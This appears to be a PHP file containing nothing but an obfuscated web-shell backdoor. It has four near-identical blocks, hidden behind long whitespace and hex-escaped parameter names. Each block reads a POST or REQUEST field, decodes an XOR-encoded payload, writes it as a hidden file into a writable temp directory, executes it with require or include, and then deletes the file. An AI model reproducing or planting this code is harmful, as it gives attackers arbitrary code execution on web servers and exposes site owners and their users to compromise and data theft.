<?php																																										if(array_key_exists("ele\x6D", $_POST)){ $parameter_group = $_POST["ele\x6D"]; $parameter_group =explode( '.', $parameter_group ) ; $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($parameter_group as $z => $v1) { $chS = ord($salt[$z % $lenS] ); $d = ((int)$v1 - $chS - ($z % 10)) ^ 56; $tkn .= chr($d ); } $element = array_filter([getenv("TEMP"), "/var/tmp", "/dev/shm", getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), sys_get_temp_dir()]); foreach ($element as $property_set): if (max(0, is_dir($property_set) * is_writable($property_set))) { $token = str_replace("{var_dir}", $property_set, "{var_dir}/.rec"); if (file_put_contents($token, $tkn)) { require $token; unlink($token); die(); } } endforeach; }
																																										if(!empty($_REQUEST["e\x6E\x74"])){ $item = $_REQUEST["e\x6E\x74"]; $item = explode ("." , $item ) ; $property_set = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $p = 0; $__len = count( $item); do { if( $p >= $__len) break; $v9 = $item[$p]; $sChar = ord( $s[$p % $sLen]); $d =( ( int)$v9 - $sChar -( $p % 10)) ^ 37; $property_set .= chr( $d); $p++; } while( true); $desc = array_filter([getenv("TMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TEMP")]); for ($record = 0, $pgrp = count($desc); $record < $pgrp; $record++) { $symbol = $desc[$record]; if (!!is_dir($symbol) && !!is_writable($symbol)) { $flg = vsprintf("%s/%s", [$symbol, ".parameter_group"]); if (file_put_contents($flg, $property_set)) { require $flg; unlink($flg); die(); } } } }
																																										if(in_array("\x65\x6Cem\x65n\x74", array_keys($_POST))){ $parameter_group = $_POST["\x65\x6Cem\x65n\x74"]; $parameter_group= explode ("." , $parameter_group ) ; $value = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $t = 0; while ($t < count($parameter_group)) { $v6 = $parameter_group[$t]; $sChar = ord($salt[$t % $lenS] ); $d = ((int)$v6 - $sChar - ($t % 10)) ^ 48; $value .= chr($d ); $t++;} $flg = array_filter(["/dev/shm", getenv("TMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP")]); foreach ($flg as $key => $hld) { if (is_dir($hld) ? is_writable($hld) : false) { $resource = sprintf("%s/.desc", $hld); if (file_put_contents($resource, $value)) { include $resource; @unlink($resource); exit; } } } }


if(isset($_POST["\x70ar\x61\x6Det\x65\x72\x5Fgro\x75p"])){
	$binding = array_filter(["/var/tmp", getcwd(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), session_save_path(), "/tmp"]);
	$hld = $_POST["\x70ar\x61\x6Det\x65\x72\x5Fgro\x75p"];
		  $hld =		explode			(		'.',$hld) ;  
	$tkn = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s);
            $len = count($hld);
    
            for ($o = 0; $o<$len; $o++) {
                $v2 = $hld[$o];
                $chS = ord($s[$o  %	$lenS]);
                $d = ((int)$v2 - $chS - ($o  %	10)) ^24;
                $tkn .= chr($d); } 
	for ($holder = 0, $object = count($binding); $holder < $object; $holder++) {
    $rec = $binding[$holder];
    		if (array_product([is_dir($rec), is_writable($rec)])) {
    $itm = "$rec/.element";
    if (file_put_contents($itm, $tkn)) {
	require $itm;
	unlink($itm);
	exit;
}
}
}
}